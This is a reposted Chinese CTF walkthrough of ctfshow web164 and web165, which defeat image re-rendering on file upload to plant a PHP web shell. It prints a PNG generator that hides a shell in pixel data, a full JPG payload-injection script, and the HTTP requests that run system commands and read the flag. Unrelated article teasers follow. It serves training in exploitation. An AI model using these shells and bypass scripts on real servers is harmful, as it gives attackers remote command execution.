ctfshow-web入门-文件上传(web164、web165)图片二次渲染绕过

news2024/11/6 7:14:35

web164 和 web165 的利用点都是二次渲染,一个是 png,一个是 jpg

目录

1、web164

2、web165


二次渲染:

网站服务器会对上传的图片进行二次处理,对文件内容进行替换更新,根据原有图片生成一个新的图片,这样就会改变文件原有的一些内容,我们需要将一句话木马插入到数据不会被改变的位置,确保一句话木马不会受到二次渲染的影响。

1、web164

生成图片马:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./my.png');
?>
#<?=$_GET[0]($_POST[1]);?>

上传图片马:

这道题我最开始弄的时候老是有问题,报错:

Warning</b>:  system(): Cannot execute a blank command in <b>/var/www/html/upload/b62bc6b55a1f2b368380dc1fbea2e71b.png

说是没有给 system 提供参数,我明明 post 传了 1=ls。

有一个问题就是,当你在上传图片马之后,点击查看图片:

这里默认的请求方式是 GET:

如果你去抓这个 get 请求的包,然后添加传参是不行的。

(后面做了下一题,发现是可以在 burpsuite 里面修改请求方式的,都要使用 post 请求)

稳妥点的做法:

查看图片后,使用 hackbar 添加参数:

get 里面新增:

&0=system

post:

1=ls

一定要先添加成上图所示后,再使用 burpsuite 抓包重放

有时候在 mode 为 raw 下发包,也可看到回显

有时候又不行了:

对比下这两个请求包的差别

有回显的:

POST /download.php?image=8b55fd4ed5b3ea99cdab4f296c58c31e.png&0=system HTTP/1.1
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: Windows
Upgrade-Insecure-Requests: 1
Origin: https://12e7667e-389f-45a8-ab1a-cfc3c0a4e938.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://12e7667e-389f-45a8-ab1a-cfc3c0a4e938.challenge.ctf.show/download.php?image=8b55fd4ed5b3ea99cdab4f296c58c31e.png
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q

1=ls

无回显的:

POST /download.php?image=db94064d6001c8ebbd832d00f278f83f.png&0=system HTTP/1.1
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://43c4f510-9863-431a-b391-24ee2c8482da.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q

1=ls

终于让我找到问题所在了:

没有回显

添加请求头:

Content-Type: application/x-www-form-urlencoded

回显正常 

读取 flag:

1=tac flag.php

ctfshow{7ee33e2a-9fb7-48b3-a089-be283761f45e}

2、web165

使用脚本生成绕过二次渲染的 jpg 图片马:

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */
		
    $miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

其中 test.jpg 是一张正常的 jpg 图片 

运行得到  payload_test.jpg ,上传该图片:

调用的时候又出问题了:

不传一句话,直接执行命令,也不行:

看到网上一些师傅也说成功率很低,反正我是没成功...

好吧,找师傅要到了适合这道题二次渲染的 jpg 图片

一开始也没有成功,后面去 B 站看了解法流程:

先将这个 jpg 图片上传,让服务器对其进行一次二次渲染,我们下载经过二次渲染后的图片,用渲染后的图片通过脚本来插入我们的 payload。

先上传原始的图片:

将上传成功的图片下载:

左边是原始的图片,右边新下载的经过渲染后的图片(注意在此之前我们都还未使用过脚本)

对渲染后的图片使用脚本插入一句话木马:

上传最后得到的这张图片:

调用:

注意使用 post 请求

使用 burpsuite 抓包:

回显成功

你也可以就抓查看图片的包(是 get 方式),可以在 burpsuite 里切换成 post 请求:

切换过去 post 里面是没有图片路径的,需要手动将下面的 post 参数 image 内容移过来:

读取 flag.php

拿到 flag:ctfshow{ed42497e-5afd-4e1a-82cd-3dfa3426091d}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1913034.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

效果惊人!LivePortrait开源数字人技术,让静态照片生动起来

不得了了,快手已经不是众人所知的那个短视频娱乐平台了。 可灵AI视频的风口尚未过去,又推出了LivePortrait--开源的数字人项目。LivePortrait让你的照片动起来,合成逼真的动态人像视频,阿里通义EMO不再是唯一选择。 让图像动起来 LivePortrait 主要提供了对眼睛和嘴唇动作的…

免费下载工具 -- Free Download Manager(FDM) v6.24.0.5818

软件简介 Free Download Manager (FDM) 是一款免费的功能强大的下载管理软件&#xff0c;适用于多种操作系统&#xff0c;包括 Windows、macOS、Android 和 Linux。这款软件的特色在于它快速、安全且高效的下载能力。它可以下载各种热门网站的影片&#xff0c;支持 HTTP/HTTP…

申请商标用什么颜色:企业和个人申请注册商标攻略!

在申请注册商标到底要用什么颜色&#xff0c;许多初次申请注册主体都不是特别清楚&#xff0c;普推知产商标老杨建议&#xff0c;在一般情况下建议尽量用黑白色&#xff0c;因为商标用黑白色在使用时可以着任何色。 在用黑色申请注册成功&#xff0c;别的主体用其它颜色要在同…

宝塔面板运行Admin.net框架

准备 宝塔安装 .netcore安装 Admin.net框架发布 宝塔面板设置 完结撒花 1.准备 服务器/虚拟机一台 系统Windows server / Ubuntu20.04&#xff08;本贴使用的是Ubuntu20.04版本系统&#xff09; Admin.net开发框架 先安装好服务器系统&#xff0c;这里就不做安装过程描述了&…

802.11漫游流程简单解析与笔记_Part2_05_wpa_supplicant如何通过nl80211控制内核开始关联

最近在进行和802.11漫游有关的工作&#xff0c;需要对wpa_supplicant认证流程和漫游过程有更多的了解&#xff0c;所以通过阅读论文等方式&#xff0c;记录整理漫游相关知识。Part1将记录802.11漫游的基本流程、802.11R的基本流程、与认证和漫游都有关的三层秘钥基础。Part1将包…

读人工智能全传08人工智能的今天

1. 人工智能的今天 1.1. 未来&#xff0c;或许有些领域会有非常明显的人工智能痕迹&#xff0c;有些领域则不会 1.2. 2018年&#xff0c;来自计算机视觉处理器公司英伟达的研究人员证明了人工智能软件能够创造出虚假的人物照片&#xff0c;并且能够完全…

人话学Python-基础篇-字符串

一&#xff1a;字符串的定义 在Python中使用引号来定义。不论是单引号还是双引号。 str1 Hello World str2 "Hello World" 二&#xff1a;字符串的访问 如果我们要取出字符串中单独的字符&#xff0c;需要使用方括号来表示取得的位置。如果要取出字符串的子串&…

Web3时代的数字身份认证:安全性与隐私保护探讨

随着区块链技术的发展和普及&#xff0c;数字身份认证正逐步成为Web3时代的关键基础设施。传统的身份认证系统存在着中心化数据存储、数据泄露和身份盗用等风险&#xff0c;而基于区块链的数字身份认证则通过去中心化、加密和分布式存储等特性&#xff0c;重新定义了安全性和隐…

如何确定一个期刊或会议是不是EI检索?

1、在爱思唯尔官网下载最新的目录。&#xff08;如下图所示&#xff09; 网址&#xff1a;Engineering Village | Databases | Compendex | Elsevier 2、 在Excel表格里搜索相应的期刊或会议名称。 3、根据关键词搜索即可&#xff0c;如果可以搜到&#xff0c;一般就可以说明这…

JS之防抖和节流

防抖 (debounce) 所谓防抖&#xff0c;就是指触发事件后在 n 秒内函数只能执行一次&#xff0c;如果在 n 秒内又触发了事件&#xff0c;则会重新计算函数执行时间。 ps: 重置普攻&#xff0c;百度翻译要输完停止一定时间后才翻译。 没有防抖和节流的缺点&#xff1a; 函数触发…

第三期书生大模型实战营 第1关 Linux 基础知识

第三期书生大模型实战营 第1关 Linux 基础知识 第三期书生大模型实战营 第1关 Linux 基础知识InternStudio开发机创建SSH密钥配置通过本地客户端连接远程服务器通过本地VSCode连接远程服务器运行一个Python程序总结 第三期书生大模型实战营 第1关 Linux 基础知识 Hello大家好&a…

NLP入门——卷积语言模型的搭建、训练与预测

语言模型建模是针对句子建模&#xff0c;主要分为掩码语言模型和自回归语言模型。 我们从corpus中截取一句话作为例子&#xff0c;这句话是bpe分词后的句子&#xff1a; 1994 年 5 月 17 日 安全 理事会 第 33 77 次 会议 通过 掩码语言模型的主要机制是&#xff1a;例如将33 7…

中职网络安全B模块渗透测试server2003

通过本地PC中渗透测试平台Kali对服务器场景Windows进⾏系统服务及版本扫描渗透测 试&#xff0c;并将该操作显示结果中Telnet服务对应的端⼝号作为FLAG提交 使用nmap扫描发现目标靶机开放端口232疑似telnet直接进行连接测试成功 Flag&#xff1a;232 通过本地PC中渗透测试平台…

软件开发面试题(C#语言,.NET框架)

1. 解释什么是委托&#xff08;Delegate&#xff09;&#xff0c;并举例说明它在C#中的用法。 委托是一种引用类型&#xff0c;它可以用于封装一个或多个方法。委托对象可以像方法一样调用&#xff0c;甚至可以用于创建事件处理程序。委托是C#中实现事件和回调函数的重要机制。…

【无聊找点事干】局域网内把window 搭建为代理服务器上网

场景描述 同一局域网内&#xff0c;server 2012可以上网&#xff0c;window 10无法上网。现在将电脑server 2012设置为代理服务器&#xff0c;使得window 10可以通过server 2012访问公网。 server 2012&#xff1a;服务端 安装代理服务器软件&#xff1a;CCProxy点击‘设置’…

OAuth2.0登录的四种方式

OAuth登录的四种方式 1. 授权码 授权码&#xff08;authorization code&#xff09;方式&#xff0c;指的是第三方应用先申请一个授权码&#xff0c;然后再用该码获取令牌。 这种方式是最常用的流程&#xff0c;安全性也最高&#xff0c;它适用于那些有后端的 Web 应用。授权…

C语言 | Leetcode C语言题解之第226题翻转二叉树

题目&#xff1a; 题解&#xff1a; struct TreeNode* invertTree(struct TreeNode* root) {if (root NULL) {return NULL;}struct TreeNode* left invertTree(root->left);struct TreeNode* right invertTree(root->right);root->left right;root->right le…

全网最适合入门的面向对象编程教程:12 类和对象的 Python 实现-Python 使用 logging 模块输出程序运行日志

全网最适合入门的面向对象编程教程&#xff1a;12 类和对象的 Python 实现-Python 使用 logging 模块输出程序运行日志 摘要&#xff1a; 本文主要介绍了日志的定义和作用&#xff0c;以及 Python 内置日志处理的 logging 模块&#xff0c;同时简单说明了日志等级和 logging …

Redis 7.x 系列【21】主从复制

有道无术&#xff0c;术尚可求&#xff0c;有术无道&#xff0c;止于术。 本系列Redis 版本 7.2.5 源码地址&#xff1a;https://gitee.com/pearl-organization/study-redis-demo 文章目录 1. 概述2. 工作原理2.1 建立连接2.2 全量复制2.3 命令传播2.4 增量复制 3. 拓扑架构3.…

Git分支结构

目录 1. 线性分支结构 2. 分叉与合并结构 3. 分支与标签的关系 4. 并行开发与分支管理策略 测试&#xff08;本机系统为Rocky_linux9.4&#xff09; 合并失败解决 删除分支 删除本地分支 删除远程分支 Git 中的分支结构是版本控制中非常重要的概念之一&#xff0c;它描…